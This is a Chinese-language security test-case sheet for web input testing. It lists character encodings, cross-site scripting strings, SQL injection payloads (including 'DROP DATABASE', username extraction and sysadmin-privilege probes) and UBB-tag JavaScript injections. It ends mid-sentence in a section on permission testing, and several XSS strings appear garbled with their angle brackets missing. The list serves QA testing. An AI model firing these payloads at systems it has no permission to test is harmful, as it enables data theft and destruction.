安全测试用例word版.docVIP

一. 特殊字符 1. 单个字符： # % ; ‘ “ * ( ) / - 等 2. 特殊字符转义： 表一：URL编码 特殊字符 对应编码 空格 %20 “ %22 # %23 $ %24 % %25 %26 ‘ %27 ; %3b %3c = %3d %3e 表二：Unicode编码(Entity Number) 特殊字符 对应编码 空格 #32; “ #34; # #35; $ #36; % #37; #38; ‘ #39; ; #59; #60; = #61; #62; 表三：Unicode编码(Entity Name) 特殊字符 对应编码 空格 nbsp; “ quot; amp; lt; gt; 等…… 3. 注意： 由于程序会对特殊字符进行转义，在测试特殊字符输入时还要尝试输入文本框规定数量特殊字符，看是否会提示超出规定字数。 二. 跨站攻击语句 scriptalert(‘hi’)/script scrscriptiptalert(‘a’)/script scriptalert(‘hi’)/script /scriptscriptalert(‘hi’)/script ’scriptalert(‘hi’)/script style=background:url(javascript:alert(XSS Test Successful)) OA= 三. 注入 判断最简单的方法，先收入“’”—— 单引号进行测试，再对比输入 1=1，1=2时是否有不同。 1. 根据不同类型进行注入： 数字类型： and char(124)＋user＋char(124)=0 字符类型： ‘ and char(124)＋user＋char(124)=0 and ‘’=’ 搜索类型： ‘ and char(124)＋user＋char(124)=0 and ‘%’=’ 2. post方式常用语句：（以abc.asp?id=80为例） id=80 and user+char(124)=0 id=80’ and user+char(124)=0 and ‘’=’ id=80% and user+char(124)=0 and %= id=80 And 1=1 And = id=80 And 1=2 And = id=80% And 1=1 And %= id=80% And 1=2 And %= 3. 数据库相关： id=999; DROP DATABASE pubs -- （pubs为数据库名） and user0 爆用户名 and user0 and = 爆用户名 and user+char(124)=0 取得当前用户 and 1=(Select IS_MEMBER(db_owner)) 看当前权限 and char(124)＋Cast(IS_MEMBER(db_owner) as varchar(1))＋char(124)=1 ;-- 同上 ;declare @a int-- 是否支持多语句查询 and 1=(select IS_SRVROLEMEMBER(sysadmin));-- 是否为SA权限 四. 其他 1. UBB [img]javascript:window.document.write(看不到);[/img] [url=http://[img]javascript:window.document.write(禁止UBB标签和表情);[/img]][img]javascript:window.document.write(禁止UBB标签和表情);[/img][/url] [img]javascript:alert(quot;啊？！quot;);alert(quot;你进来了？？quot;);alert(quot;你为什么要进...quot;);window.location.href=quot;/showpost.aspx?topicid=338998quot;[/img] 五. 权限测试 1. 页面访问权限： 假设一个活